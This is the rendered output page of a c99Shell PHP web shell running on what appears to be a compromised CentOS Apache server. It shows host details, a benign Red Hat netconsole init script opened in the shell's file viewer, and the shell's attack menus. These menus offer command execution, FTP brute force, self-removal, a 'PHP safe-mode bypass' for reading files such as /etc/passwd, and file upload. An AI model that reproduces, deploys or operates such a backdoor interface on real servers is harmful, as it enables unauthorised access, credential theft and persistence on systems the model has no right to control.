!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/etc/rc.d/rc4.d/   drwxr-xr-x
Free 52.27 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     K50netconsole (2.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash

# netconsole     This loads the netconsole module with the configured parameters.
#
# chkconfig: - 50 50
# description: Initializes network console logging
# config: /etc/sysconfig/netconsole
#
# Copyright 2002 Red Hat, Inc.
#
# Based in part on a shell script by
# Andreas Dilger <adilger@turbolinux.com>  Sep 26, 2001

PATH=/sbin:/usr/sbin:$PATH
RETVAL=0
SERVER_ADDRESS_RESOLUTION=

# Check that networking is up.
. /etc/sysconfig/network

# Source function library.
. /etc/rc.d/init.d/functions

# Default values
LOCALPORT=6666
DEV=

SYSLOGADDR=
SYSLOGPORT=514
SYSLOGMACADDR=

kernel=`uname -r | cut -d. -f1-2`

usage ()
{
    echo $"Usage: $0 {start|stop|status|restart|condrestart}" 1>&2
    RETVAL=1
}

print_address_info ()
{
    local host=$1
    local route via target

    route=$(LANG=C ip -o route get to $host/32)
    
    [ -z "$DEV" ] && DEV=$(echo $route | sed "s|.* dev \([^ ]*\).*|\1|")
    echo "DEV=$DEV"
    echo "LOCALADDR=$(echo $route | sed "s|.* src \([^ ]*\).*|\1|")"
    if echo $route | grep -q " via " ; then
        via=$(echo $route | sed "s|.* via \([^ ]*\).*|\1|")
        target=$via
    else
        target=$host
    fi
    if [ -z "$SYSLOGMACADDR" ]; then
        arp=$(LANG=C arping -c 1 -I $DEV $target 2>/dev/null | awk '/ reply from .*[.*]/ { print gensub(".* reply from .* \\[(.*)\\].*","\\1","G") }')
        [ -n "$arp" ] && echo "SYSLOGMACADDR=$arp"
    fi    
}    
    
netconsole_failure ()
{
    echo -n "$1"
    failure
    echo
    exit 1
}

start ()
{
    [ -f /etc/sysconfig/netconsole ] || exit 0
    . /etc/sysconfig/netconsole

    SYSLOGOPTS=
    # syslogd server, if any
    if [ -n "$SYSLOGADDR" ]; then
    if ! [[ "$SYSLOGADDR" =~ "^([0-9]{1,3}\.){3}[0-9]{1,3}$" ]]; then
        SYSLOGADDR=$(LANG=C host $SYSLOGADDR 2>/dev/null | awk '/has address / { print $NF }')
    fi
    fi
    if [ -z "$SYSLOGADDR" ] ; then
        echo $"Server address not specified in /etc/sysconfig/netconsole" 1>&2
        exit 1
    fi
    eval $(print_address_info $SYSLOGADDR)
    
    if [ -z "$SYSLOGMACADDR" ]; then
        echo $"netconsole: can't resolve MAC address of $SYSLOGADDR" 1>&2
        netconsole_failure "syslog server address resolution"
    fi

    SYSLOGOPTS="netconsole=$LOCALPORT@$LOCALADDR/$DEV,$SYSLOGPORT@$SYSLOGADDR/$SYSLOGMACADDR "

    /usr/bin/logger -p daemon.info -t netconsole: inserting netconsole module with arguments \
    $SYSLOGOPTS
    if [ -n "$SYSLOGOPTS" ]; then
        action $"Initializing netconsole" modprobe netconsole \
            $SYSLOGOPTS
    fi
    touch /var/lock/subsys/netconsole
}

stop ()
{
    if /sbin/lsmod | grep netconsole >/dev/null 2>&1 ; then
        action $"Disabling netconsole" rmmod netconsole;
    fi

    rm -f /var/lock/subsys/netconsole
}

status ()
{
    if /sbin/lsmod | grep netconsole >/dev/null 2>&1 ; then
        echo $"netconsole module loaded"
        RETVAL=0
    else
        echo $"netconsole module not loaded"
        RETVAL=3
    fi
}


restart ()
{
    stop
    start
}

condrestart ()
{
    [ -e /var/lock/subsys/netconsole ] && restart
}


case "$1" in
    stop) stop ;;
    status) status ;;
    start|restart|reload) restart ;;
    condrestart) condrestart ;;
    *) usage ;;
esac

exit $RETVAL

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--